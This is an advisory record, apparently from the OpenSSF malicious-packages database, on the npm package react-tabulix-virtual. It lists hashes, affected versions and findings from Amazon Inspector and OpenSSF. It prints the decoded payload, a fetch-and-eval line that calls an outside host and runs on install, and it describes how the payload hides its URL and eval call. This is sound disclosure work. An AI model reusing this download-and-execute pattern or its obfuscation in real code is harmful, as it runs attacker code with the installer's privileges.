{"id":"MAL-2026-10989","summary":"Malicious code in react-tabulix-virtual (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (f90c8fc6aca32e28a4faed28ca3f7879cb22e84139b7b09a2a83c5df74259a14)\npackage.json declares scripts.preinstall as `node./dist/index.d.js`, which runs automatically on `npm install`. dist/index.d.js contains a base64-encoded string that decodes to `eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=\u003er.text()))`. The `eval` identifier is reconstructed at runtime from the character-code array [101,118,97,108] so the sink name does not appear as a literal in the source. On install, the package fetches JavaScript from everydaynodechecker-39143n.vercel.app and executes it with the installer's privileges. Both the destination URL (base64) and the `eval` sink (char-code assembly) are obfuscated.\n\n## Source: ossf-package-analysis (dbfc5a819e6dfbc3c65ec83a79a9f93a95da71259279c54e95f34c36ab81a22f)\nThe OpenSSF Package Analysis project identified 'react-tabulix-virtual' @ 0.1.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","modified":"2026-08-05T13:35:49.871242243Z","published":"2026-07-21T14:01:07Z","database_specific":{"malicious-packages-origins":[{"versions":["0.1.1"],"import_time":"2026-07-22T03:53:22.257714673Z","modified_time":"2026-07-21T14:01:07Z","sha256":"dbfc5a819e6dfbc3c65ec83a79a9f93a95da71259279c54e95f34c36ab81a22f","source":"ossf-package-analysis"},{"import_time":"2026-08-05T13:08:36.94701016Z","modified_time":"2026-08-05T12:30:26Z","sha256":"f90c8fc6aca32e28a4faed28ca3f7879cb22e84139b7b09a2a83c5df74259a14","source":"amazon-inspector","versions":["0.1.0"],"id":"IN-MAL-2026-014683"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/react-tabulix-virtual/v/0.1.0"}],"affected":[{"package":{"name":"react-tabulix-virtual","ecosystem":"npm","purl":"pkg:npm/react-tabulix-virtual"},"versions":["0.1.1","0.1.0"],"database_specific":{"indicators":{"package_integrity":[{"filename":"react-tabulix-virtual-0.1.0.tgz","hashes":{"sha1":"6bc4d65a90dfed0b9f120b8f80daab126daa70c1","sha512_sri":"sha512-xy5LlcRCotWibsGMpAt7oKi5AS4PiS+vprADPn5QMFWY3Mdprhhae7L90RlIU6BEzR2R9qbVDxobAxyNe2B6tg=="}}],"evidence_files":[{"path":"dist/index.d.js","sha256":"07a0b39efa1866c238e6baa307797de254495f399e4ce90068ff579492d3300d","tlsh":"9af09e7e43d9b1b1e55418de05a89129a783d1f67e3c44b7f80f49d642a2c5583a11b0"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/react-tabulix-virtual/MAL-2026-10989.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}